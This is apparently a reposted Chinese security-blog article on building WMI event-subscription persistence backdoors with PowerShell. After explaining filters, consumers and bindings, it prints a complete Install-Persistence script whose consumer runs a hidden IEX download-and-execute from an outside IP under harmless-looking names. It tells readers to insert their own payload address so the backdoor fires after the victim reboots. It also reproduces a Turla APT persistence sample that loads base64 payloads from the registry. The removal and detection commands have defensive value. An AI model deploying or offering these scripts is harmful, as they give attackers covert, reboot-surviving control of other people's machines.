<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    WMI持久性后門(powershell)(水文)

    VSole2022-07-06 22:27:50

    “WMI是微軟為基于Web的企業管理(WBEM)規范提供的一個實現版本,而WBEM則是一項行業計劃,旨在開發用于訪問企業環境中管理信息的標準技術。WMI使用公共信息模型(CIM)行業標準來表示系統、應用程序、網絡、設備和其他托管組件。”

    實際上,所謂事件過濾器只不過就是一個WMI類,用于描述WMI向事件使用者傳遞的事件。于此同時,事件過濾器還給出了WMI傳遞事件的條件。

    需要在系統上以管理員身份運行才能創建事件實例。

    1.WMI事件

    WMI事件一共有3個部分組成:

    1.1.Filter

    WMI 篩選器組件允許我們使用 Windows 管理規范 (WMI) 規則。它包含兩個類:MSFT_Rule,它定義管理范圍內的單個規則,以及MSFT_SomFilter,它提供在目標設備上評估的查詢列表。

    1.2.Consumer

    Consumer 類是表明了想要進行什么操作,一般是有5種Consumer 類,我們使用其中的一個(或由同一過濾器綁定的多個)來執行某種操作。

    1.2.1.ActiveScriptEventConsumer

    當事件傳遞給它時,以任意腳本語言執行預定義的腳本。此可在 Windows 2000 及更高版本上使用。

    1.2.2.CommandLineEventConsumer

    當一個事件被傳遞給它時,在本地系統上下文中啟動一個任意進程。此適用于 Windows XP 及更高版本。

    1.2.3.LogFileEventConsumer

    當事件發送到文本日志文件時,將自定義字符串寫入文本日志文件。此適用于 Windows XP 及更高版本。

    1.2.4.NTEventLogEventConsumer

    當事件被傳遞到 Windows NT 事件日志時,將特定消息記錄到 Windows NT 事件日志中。此消費者適用于 Windows XP 及更高版本。

    1.2.5.SMTPEventConsumer

    每次將事件傳遞給它時,都使用 SMTP 發送電子郵件。此使用者可在 Windows 2000 及更高版本上使用。

    1.3.Binding

    綁定實際上是將過濾器和Consumer結合在一起,一旦將這兩者綁定在一起,就可以讓 WMI 事件訂閱立即工作。要禁用現有的 WMI 訂閱,只需刪除綁定實例。

    2.0.查找 WMI 實例

    我們可以使用 Get-WMIObject 和由root\Subscription組成的 –Class 參數,然后指定我們希望查看的適當類

    #List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter
    

    可以通過 Filter 實例的 Query 屬性判斷正在使用哪種Consumer

    #List Event Consumers  Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
    

    #List 事件綁定Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
    

    可以從 __PATH 屬性中看到哪個 Filter 和 Consumer 用于 WMI 事件。

    3.0.使用wmiclass創建 WMI 事件訂閱

    創建 WMI 事件訂閱的第一種方法是利用 wmiclass 類型加速器并使用 CreateInstance() 方法。

    首先,創建過濾器

    #創建一個新的事件過濾器$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
    

    然后我們需要在這個Filter 實例中添加內容,需要添加的只是 Query、QueryLanguage、EventNamespace 和一個名稱。

    $instanceFilter.QueryLanguage = "WQL"  $instanceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"  $instanceFilter.Name = "ServiceFilter"  $instanceFilter.EventNamespace = 'root\cimv2'
    

    然后需要將此實例實際保存到 WMI 存儲庫中,可以通過 Put() 方法來做。

    $result = $instanceFilter.Put()  $newFilter = $result.Path
    

    然后是創建Consumer

    $instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()
    

    接下來,我將對象配置為在過濾器觸發時創建日志文件。

    $instanceConsumer.Name = 'ServiceConsumer'$instanceConsumer.Filename = "C:\Scripts\Log.log"$instanceConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
    

    %TargetInstance.Name% 表示正在更改的服務的名稱,無論是狀態還是其他內容。

    最后,我們需要將對象保存到 WMI 存儲庫中。

    $result = $instanceConsumer.Put()  $newConsumer = $result.Path
    

    然后就是綁定了

    $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
    

    綁定在一起并保存實例

    $instanceBinding.Filter = $newFilter  $instanceBinding.Consumer = $newConsumer  $result = $instanceBinding.Put()  $newBinding = $result.Path
    

    現在停止服務并檢查 Scripts 文件夾中的日志文件。

    Stop-Service wuauserv -Verbose
    

    4.0.使用 Set-WMIInstance創建 WMI 事件訂閱

    此方法使用 –Arguments 參數,該參數接受將用于定義每個實例及其屬性的哈希表。

    首先,將創建將與我的 splatting 一起使用的哈希表,這些也是不會隨每個 WMI 實例更改的通用參數。

    splatting $wmiParams = @{     Computername = $env:COMPUTERNAME     ErrorAction = 'Stop'     NameSpace = 'root\subscription' }
    

    接下來是過濾器的創建

    $wmiParams.Class = '__EventFilter'  $wmiParams.Arguments = @{     Name = 'ServiceFilter'     EventNamespace = 'root\CIMV2'     QueryLanguage = 'WQL'     Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'" }  $filterResult = Set-WmiInstance @wmiParams
    

    繼續創建Consumer

    $wmiParams.Class = 'LogFileEventConsumer'$wmiParams.Arguments = @{    Name = 'ServiceConsumer'    Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'    FileName = "C:\Scripts\Log.log" }$consumerResult = Set-WmiInstance @wmiParams
    

    綁定以啟用此事件訂閱

    $wmiParams.Class = '__FilterToConsumerBinding'$wmiParams.Arguments = @{     Filter = $filterResult     Consumer = $consumerResult }$bindingResult = Set-WmiInstance @wmiParams我們可以使用 Remove-WMIObject刪除和使用 Get-WMIObject 定位實例并通過管道傳輸到 Remove-##Removing WMI Subscriptions using Remove-WMIObject#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ServiceFilter'" |      Remove-WmiObject -Verbose  
    #ConsumerGet-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" |      Remove-WmiObject -Verbose  
    #BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'"  |      Remove-WmiObject -Verbose
    

    示例

    <#Credits to @mattifestion forhis awesome work onWMI and Powershell Fileless Persistence.  This script isan adaptation of his work.#>
    function Install-Persistence{
        $Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"    $EventFilterName = 'Cleanup'    $EventConsumerName = 'DataCleanup'    $finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
        # Create event filter    $EventFilterArgs = @{        EventNamespace = 'root/cimv2'        Name = $EventFilterName        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"        QueryLanguage = 'WQL'    }
        $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
        # Create CommandLineEventConsumer    $CommandLineConsumerArgs = @{        Name = $EventConsumerName        CommandLineTemplate = $finalPayload    }    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
        # Create FilterToConsumerBinding    $FilterToConsumerArgs = @{        Filter = $Filter        Consumer = $Consumer    }    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
        #Confirm the Event Filter was created    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"    if($EventCheck -ne $null) {        Write-Host "Event Filter $EventFilterName successfully written to host"    }
        #Confirm the Event Consumer was created    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"    if($ConsumerCheck -ne $null) {        Write-Host "Event Consumer $EventConsumerName successfully written to host"    }
        #Confirm the FiltertoConsumer was created    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""    if($BindingCheck -ne $null){        Write-Host "Filter To Consumer Binding successfully written to host"    }
    }
    function Remove-Persistence{    $EventFilterName = 'Cleanup'    $EventConsumerName = 'DataCleanup'
        # Clean up Code - Comment this code out when you are installing persistence otherwise it will
        $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
        $FilterConsumerBindingToCleanup | Remove-WmiObject    $EventConsumerToCleanup | Remove-WmiObject    $EventFilterToCleanup | Remove-WmiObject
    }
    function Check-WMI{    Write-Host "Showing All Root Event Filters"    Get-WmiObject -Namespace root/subscription -Class __EventFilter
        Write-Host "Showing All CommandLine Event Consumers"    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
        Write-Host "Showing All Filter to Consumer Bindings"    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding}
    

    把這個payload的地址修改為我們的就行

    然后開始插入事件,一旦正常插入成功后,當目標再次重啟系統,管理員[administrator]正常登錄,稍等片刻2016可能要稍微多等會兒]當系統在后臺輪詢到我們的payload事件后,便會被觸發執行。

    # powershell -exec bypassPS > Import-Module .\WMI-Persistence.ps1PS > Install-PersistencePS > Check-WMI
    

    5.0.Turla APT的樣本

    Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
    $NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
    Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
    Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
    $IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
    Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
    Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
    Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
    Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
    

    這里創建兩個 WMI事件過濾器和兩個 WMI事件Consumer,Consumer啟動 base64 編碼的 PowerShell 命令的命令行,然后加載存儲在 Windows 注冊表中的大型 PowerShell 腳本。

    這些事件將分別在 15:30:40 和系統正常運行時間在 300 到 400 秒之間運行。變量$HL39fjh包含 base64 編碼的 PowerShell 命令,讀取存儲加密負載的 Windows 注冊表項,并包含解密負載所需的密碼和鹽。

    [System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
    

    最后,腳本將加密的有效負載存儲在 Windows 注冊表中,在樣本中,攻擊者似乎對每個目標使用不同的注冊表位置。

    powershellwmi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SharpStrike是一款基于C#開發的后滲透工具,該工具可以使用CIM或WMI來查詢遠程系統。除此之外,該工具還可以使用研究人員提供的憑證信息或使用當前的用戶會話。 注意:SharpStrike中的某些命令將使用PowerShell結合WMI以實現其功能。
    利用Powershell,攻擊者可以在無需接觸磁盤的情況下執行命令等,并且相較已經被大家廣泛關注并防御的Cmd而言,Powershell并非那么的引人矚目。Nishang是基于PowerShell的滲透測試專用工具。它集成了框架、腳本和各種payload,能夠幫助滲透測試人員在對Windows目標的全過程檢測中使用,是一款來源于作者實戰經歷的智慧結晶。
    例如,刪除卷影副本和殺死進程等功能已卸載到 PowerShell 腳本。Sophos 表示,目前尚不清楚攻擊者是利用最近披露的Exchange Server 中的ProxyLogon 漏洞來獲得未經身份驗證的訪問,還是利用了其他缺陷。Sophos 對 Epsilon Red 的分析表明,勒索軟件二進制文件本身不包含目標文件和擴展名的列表。由于 Epsilon Red 似乎沒有做出這種區分,惡意軟件可能會使受感染的系統無法啟動。
    當獲取了一臺在域內的Windows服務器權限,就需要我們盡可能地去收集所能獲取到的域的相關信息,收集的域的信息越多,拿下域控的成功率越高。
    權限維持分析
    2021-11-23 09:28:29
    專注是做事成功的關鍵,是健康心靈的特質。當你與所關注的事物融為一體時,就不會讓自己縈繞于焦慮之中。專注與放松,是同一枚硬幣的兩面而已。一個人對一件事只有專注投入才會帶來樂趣。一旦你專注投入進去,它立刻就變得活生生起來。
    在信息安全領域。后門是指通過繞過安全控制措施獲取對程序或系統ti訪問權限的方法。系統維護人員可以清除操作系統中的后門,以恢復目標系統安全控制體系的正規用戶的認證過程。在windows主機上連續按5次“shift”鍵,就可以調出粘滯鍵。windows的粘滯鍵主要是為無法同時按多個按鍵的用戶設計的。
    摘要 在最初破壞公司網絡之后,WastedLocker背后的攻擊者在激活勒索軟件和要求勒索付款之前執行特權升級和橫向移動。使用“雙重用途”工具和“ LoLBins”可以使對手在企業環境中進一步朝著自己的目標努力時,逃避檢測并...
    內網滲透TIPS總結
    2023-01-28 11:00:41
    內網基礎知識1、工作組:工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類到不同的組。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
    本文主要是對域環境下的權限維持手法進行攻擊檢測以及清理,攻擊的方法不著重描述,檢測的方法只針對終端日志,權限維持的手法也只涉及域環境獨有的,像普通終端也存在的啟動項計劃任務服務等不考慮在內,利用漏洞的也直接排除了直接打補丁就好了。
    00 摘要 2020年2月,Cybereason報告稱發現了Spark和Pierogi后門,其很可能被用于針對巴勒斯坦官員的定向攻擊活動。研究人員認為攻擊是由Molerats組織(又名Gaza Cybergang)發動的,這是一個講阿拉伯語,有政治動機...
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类